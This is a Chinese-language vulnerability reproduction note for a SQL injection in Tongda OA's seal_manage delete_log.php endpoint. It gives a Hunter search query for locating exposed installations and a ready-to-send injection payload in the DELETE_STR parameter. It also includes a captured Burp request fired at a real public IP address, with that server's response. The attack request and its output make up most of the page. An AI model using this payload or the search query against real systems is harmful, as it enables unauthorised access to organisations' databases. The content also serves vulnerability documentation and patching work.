

## T10-7通达-OA-SQL

漏洞描述:

网站图片:



网络测绘:

Hunter 语法:

app.name="通达 OA"

漏洞复现:

payload:

```
GET /general/system/seal_manage/dianju/delete_log.php?DELETE_STR=1)%20and%20(substr(DATABASE(),1,1))=char(84)%20and%20(select%20count(*)%20from%20information_schema.colu
Host: 127.0.0.1:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/116.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
```

效果图:

Request

RawHex

1GET

/general/system/seal\_manage/dianju/delete\_log.php?DELETE\_STR=1)%20and%20(substr(DATABASE(),1,1))=char(84)%20and%20(select%20count(\*)%20from%20information\_schema.columns%20A,information\_schema.columns%20B)%20and(1)=(1HTTP/1.1

2Host: 1.116.130.61:999

3User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/116.0

4Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,\*/\*;q=0.8

5Accept-Encoding: gzip, deflate, br

6Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2

7Connection: close

8Upgrade-Insecure-Requests: 1

9

10

Response

RawHexRender

42<script type="text/javascript" src="/static/js/watermark/watermark.js">

/static/js/watermark/watermark.js">

</script>

43<script type="text/javascript" src="/static/js/watermark/index.js" charset="utf-8">

/static/js/watermark/index.js" charset="utf-8">

</script>

44<!-- <script src="/static/js/ba/agent.js" type="text/javascript"></script>-->

<script type="text/javascript">

45var MYOA\_EMAIL\_SHOW="0";

46var MYOA\_JS\_SERVER="";

47var MYOA\_STATIC\_SERVER="";

48window.\_td\_ba&window.\_td\_ba.server&&(window.\_td\_ba.server.guid=

'{2E3BBE6E-87F4-D1B5-011A-B07A28FF9334}');

</script>

50</head>

51<div class="MessageBox" style="width:442px">

52

53<div class="center warning">

54<div class="title">

警告

</div>

56<div class="msg-content">

用户未登录，请重新登录!

</div>

57</div>

58</div>

Inspector

Request attributes2

Request query parameters1

Request headers7

Response headers13

Search

Search